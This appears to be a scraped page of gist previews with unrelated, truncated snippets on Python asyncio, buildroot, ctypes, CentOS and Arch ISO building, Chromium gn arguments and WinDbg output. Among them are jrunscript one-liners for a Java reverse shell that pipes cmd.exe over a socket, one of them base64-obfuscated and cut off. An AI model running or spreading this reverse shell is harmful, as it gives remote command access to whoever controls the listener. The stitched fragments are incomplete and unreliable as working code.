Note: these instructions are for pre-Sierra MacOS. Sierra (10.12) and newer users see https://gist.github.com/gravitylow/fb595186ce6068537a6e9da6d8b5b96d by @gravitylow
If you are getting this in gdb on OSX while trying to run a program:
| import asyncio | |
| loop = asyncio.get_event_loop() | |
| async def hello(): | |
| await asyncio.sleep(3) | |
| print('Hello!') | |
| if __name__ == '__main__': | |
| loop.run_until_complete(hello()) | |
| We are going to use buildroot to download, configure and compile the kernel. | |
| First, download and uncompress buildroot: https://buildroot.org/download.html | |
| Go to the directory and: | |
| make qemu_x86_defconfig | |
| make menuconfig |
| from ctypes import * | |
| def convert_bytes_to_structure(st, byte): | |
| # sizoef(st) == sizeof(byte) | |
| memmove(addressof(st), byte, sizeof(st)) | |
| def convert_struct_to_bytes(st): | |
| buffer = create_string_buffer(sizeof(st)) | |
| memmove(buffer, addressof(st), sizeof(st)) |
| #!/bin/bash | |
| # create custom bootable iso for CentOS 7 with kickstart | |
| if [ $# -lt 2 ] | |
| then | |
| echo "Usage1: $0 path2iso path2kickstart" | |
| exit 1 | |
| else | |
| if [ ! -f $1 ] | |
| then |
Note: these instructions are for pre-Sierra MacOS. Sierra (10.12) and newer users see https://gist.github.com/gravitylow/fb595186ce6068537a6e9da6d8b5b96d by @gravitylow
If you are getting this in gdb on OSX while trying to run a program:
Nashorn / Rhino:
$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V| Microsoft (R) Windows Debugger Version 6.2.9200.16384 X86 | |
| Copyright (c) Microsoft Corporation. All rights reserved. | |
| *** wait with pending attach | |
| Symbol search path is: *** Invalid *** | |
| **************************************************************************** | |
| * Symbol loading may be unreliable without a symbol search path. * | |
| * Use .symfix to have the debugger choose a symbol path. * | |
| * After setting your symbol path, use .reload to refresh symbol locations. * |
Install the dependencies for the archiso package:
(root): pacman -S make squashfs-tools libisoburn dosfstools patch lynx devtools git
I recommend archiso getting them from git, there is a package in the repositories, however, at this time of writing, it will not work with the instructions below.
So, grab the most recent version from git and install it:
(user): git clone git://projects.archlinux.org/archiso.git && cd archiso
| # Build arguments for the gn build | |
| # You can set these with `gn args out/Default` | |
| # ( and they're stored in src/out/Default/args.gn ) | |
| # See "gn args out/Default --list" for available build arguments | |
| # component build, because people love it | |
| is_component_build = true | |
| # release build, because its faster | |
| is_debug = true |
| #!/usr/bin/env python | |
| # encoding: utf-8 | |
| """ | |
| portforwarder.py | |
| Created by Sandro Gauci on 2014-03-18. | |
| """ | |
| import sys | |
| import os |